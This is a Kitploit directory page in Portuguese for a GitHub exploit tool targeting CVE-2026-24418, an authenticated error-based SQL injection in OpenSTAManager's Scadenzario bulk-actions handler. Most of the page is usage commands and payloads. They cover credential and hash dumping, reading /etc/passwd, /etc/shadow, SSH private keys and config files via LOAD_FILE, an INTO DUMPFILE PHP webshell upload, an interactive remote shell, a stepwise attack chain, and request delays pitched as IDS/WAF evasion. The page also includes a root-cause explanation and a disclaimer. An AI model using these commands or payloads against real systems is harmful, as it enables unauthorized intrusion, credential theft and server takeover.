Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-24418 — OpenSTAManager v2.9.8 e anteriores contêm uma vulnerabilidade crítica de Error-Based SQL Injection no manipulador de operações em lote para o módulo Scadenzario (Agenda de Pagamentos). | Kitploit
Ferramentas/GitHubGitHub/bridgeralderson/cve-2026-24418
Ataques de SenhaAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoRed TeamingSegurança de Banco de Dados

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
bridgeralderson/cve-2026-24418

CVE-2026-24418

OpenSTAManager v2.9.8 e anteriores contêm uma vulnerabilidade crítica de Error-Based SQL Injection no manipulador de operações em lote para o módulo Scadenzario (Agenda de Pagamentos).

Ver Repositório
22há 2 mesesAinda não revisado

CVE-2026-24418

OpenSTAManager <= 2.9.8 — Injeção SQL Baseada em Erro no Módulo de Operações em Massa do Scadenzario

Visão Geral

CampoDetalhes
ID do CVECVE-2026-24418
GravidadeALTA (8.8)
CWECWE-89: Injeção SQL
Versões AfetadasOpenSTAManager <= 2.9.8
Parâmetro Vulnerávelid_records[] (array POST)
Endpoint Vulnerável/actions.php?id_module=18
Tipo de AtaqueInjeção SQL Baseada em Erro (EXTRACTVALUE)
AutenticaçãoNecessária (qualquer conta de usuário válida)

Detalhes da Vulnerabilidade

OpenSTAManager v2.9.8 e versões anteriores contêm uma vulnerabilidade crítica de Injeção SQL Baseada em Erro no manipulador de operações em massa para o módulo Scadenzario (Cronograma de Pagamentos). A aplicação falha ao validar se os elementos do array id_records[] são inteiros antes de usá-los em uma cláusula SQL IN(), permitindo que atacantes autenticados injetem comandos SQL arbitrários e extraiam dados sensíveis através de mensagens de erro XPATH.

Causa Raiz

  1. Ponto de Entrada — /actions.php recebe id_records[] via POST
  2. Sanitização Insuficiente — array_clean() apenas remove valores vazios, NÃO valida tipos de dados
  3. Ponto de Injeção — /modules/scadenzario/bulk.php passa valores não sanitizados diretamente para uma cláusula SQL IN()
  4. Exfiltração de Dados — Mensagens de erro EXTRACTVALUE/UPDATEXML vazam resultados de consultas

Recursos

Instalação

root@kitploit:~
git clone https://github.com/BridgerAlderson/CVE-2026-24418.git
cd CVE-2026-24418
pip install requests

Uso

Autenticação

root@kitploit:~
# Login com credenciais
python3 exploit.py -t http://target.com -u admin -p password --info

# Usar cookie de sessão existente
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --info

Reconhecimento

root@kitploit:~
# Informações do banco de dados + privilégios + credenciais de usuário
python3 exploit.py -t http://target.com -u admin -p secret --all

# Verificar privilégios MySQL (FILE, SUPER, etc.)
python3 exploit.py -t http://target.com -u admin -p secret --privs

Extração de Credenciais

root@kitploit:~
# Extrair usuários e exportar hashes automaticamente
python3 exploit.py -t http://target.com -u admin -p secret --users -o ./loot

# Arquivos de saída:
#   ./loot/users.json          - Dados completos do usuário
#   ./loot/users.csv           - Formato CSV
#   ./loot/hashes_hashcat.txt  - Formato Hashcat (modo 3200)
#   ./loot/hashes_john.txt     - Formato John (usuário:hash)

Enumeração de Banco de Dados

root@kitploit:~
# Listar todos os bancos de dados
python3 exploit.py -t http://target.com -u admin -p secret --dbs

# Listar tabelas em um banco de dados específico
python3 exploit.py -t http://target.com -u admin -p secret --tables -D openstamanager

# Listar colunas de uma tabela
python3 exploit.py -t http://target.com -u admin -p secret --columns -T zz_users

# Extrair colunas específicas com limite de linhas
python3 exploit.py -t http://target.com -u admin -p secret --dump -T zz_users -C username,password --limit 10

Leitura de Arquivos (LFI via SQL)

root@kitploit:~
# Ler /etc/passwd
python3 exploit.py -t http://target.com -u admin -p secret --file-read /etc/passwd

# Ler configuração da aplicação (credenciais do banco de dados)
python3 exploit.py -t http://target.com -u admin -p secret --file-read /var/www/html/openstamanager/config.inc.php

# Ler chaves SSH
python3 exploit.py -t http://target.com -u admin -p secret --file-read /home/user/.ssh/id_rsa

# Modo HEX (contornar filtros de caracteres)
python3 exploit.py -t http://target.com -u admin -p secret --file-read-hex /etc/shadow

Execução Remota de Código

root@kitploit:~
# Enviar webshell (detecta webroot automaticamente)
python3 exploit.py -t http://target.com -u admin -p secret --webshell

# Enviar webshell com webroot específico
python3 exploit.py -t http://target.com -u admin -p secret --webshell --webroot /var/www/html

# Sessão de shell interativa
python3 exploit.py -t http://target.com -u admin -p secret --rce

# RCE fará upload automático de webshell se não existir

Saída e Relatórios

root@kitploit:~
# Salvar tudo em um diretório
python3 exploit.py -t http://target.com -u admin -p secret --all -o ./loot

# Arquivos gerados:
#   db_info.json, privileges.json, users.json, users.csv,
#   hashes_hashcat.txt, hashes_john.txt

Opções de Rede

root@kitploit:~
# Através do proxy Burp Suite
python3 exploit.py -t http://target.com -u admin -p secret --users --proxy http://127.0.0.1:8080

# Com atraso de requisição (2 segundos entre requisições)
python3 exploit.py -t http://target.com -u admin -p secret --users --delay 2

# Pular verificação SSL
python3 exploit.py -t https://target.com -u admin -p secret --info -k

Referência Completa de Opções

root@kitploit:~
Alvo:
  -t, --target           URL base do alvo

Autenticação:
  -u, --user             Nome de usuário para login
  -p, --password         Senha para login
  -c, --cookie           Valor PHPSESSID existente

Enumeração:
  -D, --database         Nome do banco de dados alvo
  -T, --table            Nome da tabela alvo
  -C, --columns-list     Colunas a extrair (separadas por vírgula)
  --limit                Limite de linhas para extrações

Ações:
  --info                 Informações do servidor de banco de dados
  --users                Extrair credenciais de zz_users
  --dbs                  Listar bancos de dados
  --tables               Listar tabelas
  --columns              Listar colunas (requer -T)
  --dump                 Extrair dados (requer -T e -C)
  --sql QUERY            Consulta SQL personalizada
  --all                  Executar --info + --privs + --users
  --privs                Verificar privilégios MySQL

Operações de Arquivo:
  --file-read PATH       Ler arquivo via LOAD_FILE()
  --file-read-hex PATH   Ler arquivo via codificação HEX

Execução Remota de Código:
  --webshell             Enviar webshell PHP
  --webroot PATH         Caminho webroot para upload do shell
  --rce                  Execução interativa de comandos

Saída:
  -o, --output DIR       Salvar resultados no diretório

Rede:
  -m, --module-id        ID do módulo (padrão: 18)
  --proxy                URL do proxy HTTP
  -k, --no-ssl-verify    Desabilitar verificação SSL
  --delay                Atraso de requisição em segundos

Detalhes Técnicos

Estrutura do Payload

root@kitploit:~
id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(<SQL_QUERY>)))#

Limite de Caracteres do EXTRACTVALUE

O EXTRACTVALUE() do MySQL retorna no máximo ~32 caracteres via erros XPATH. A ferramenta divide automaticamente resultados longos usando SUBSTRING():

root@kitploit:~
SUBSTRING((<query>), 1, 31)    -- Chunk 1
SUBSTRING((<query>), 32, 31)   -- Chunk 2
...

Mecanismo de Upload de Webshell

Nota Técnica sobre Contexto Baseado em Erro: Embora --webshell e --rce estejam incluídos para máxima cobertura, o MySQL proíbe estritamente o uso de INTO DUMPFILE dentro de uma subconsulta ou cláusula IN() (que é exatamente onde está o ponto de injeção deste CVE).

Portanto, escrever arquivos diretamente através desta injeção específica baseada em erro geralmente falhará com um erro de sintaxe, a menos que:

  1. O ambiente alvo permita Consultas Empilhadas (muito raro em configurações modernas PHP/PDO).
  2. Você consiga pivotar o payload para uma injeção baseada em UNION.

Se você confirmar privilégios FILE via --privs, sua melhor aposta é usar --file-read e --file-read-hex, já que LOAD_FILE() funciona perfeitamente dentro de subconsultas baseadas em erro.

Quando o privilégio FILE está disponível e as restrições permitem:

root@kitploit:~
SELECT 0x<hex_encoded_php> INTO DUMPFILE '/var/www/html/shell.php'

Caminho de Código Vulnerável

root@kitploit:~
POST /actions.php?id_module=18
    └── actions.php (L503-506) ─── receives id_records[]
        └── array_clean() ─── only removes empty values
            └── bulk.php (L88) ─── builds SQL IN() clause
                └── Database.php (L289) ─── executes unsanitized query
                    └── XPATH error leaks data

Exemplo de Cadeia de Ataque

root@kitploit:~
1. --privs        → Verificar privilégio FILE
2. --users        → Extrair credenciais, exportar hashes
3. --file-read    → Ler config.inc.php para credenciais do BD
4. --file-read    → Ler /etc/passwd para nomes de usuário
5. --webshell     → Enviar webshell PHP
6. --rce          → Shell interativo → pivot

Aviso Legal

Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. Sempre obtenha autorização adequada antes de testar. O autor não assume nenhuma responsabilidade pelo uso indevido.

Referências

  • CVE-2026-24418 (NVD)
  • Aviso de Segurança do GitHub — GHSA-4xwv-49c8-fvhq
  • Repositório OpenSTAManager
  • PoC por Lukasz Rybak
Baixar ferramenta
RecursoDescrição
--infoIdentificação do servidor de banco de dados (versão, usuário, hostname, SO, caminhos)
--privsEnumeração de privilégios MySQL (FILE, SUPER, PROCESS)
--usersExtração completa de credenciais de zz_users com exportação automática de hashes
--dbsListar todos os bancos de dados acessíveis
--tablesListar tabelas com contagem de linhas
--columnsListar colunas com tipos e informação de nullable
--dumpExfiltração de dados de qualquer tabela/coluna
--sqlExecução de consulta SQL personalizada
--file-readLer arquivos do servidor via LOAD_FILE() (/etc/passwd, arquivos de configuração, chaves SSH)
--file-read-hexLeitura de arquivo codificado em HEX para contornar filtros
--webshellUpload de webshell PHP via INTO DUMPFILE
--rceExecução interativa de comandos via webshell enviado
-o / --outputSalvar todos os resultados em formatos JSON, CSV e hashcat/john
--proxySuporte a proxy HTTP (Burp Suite)
--delayLimitação de requisições para evasão de IDS/WAF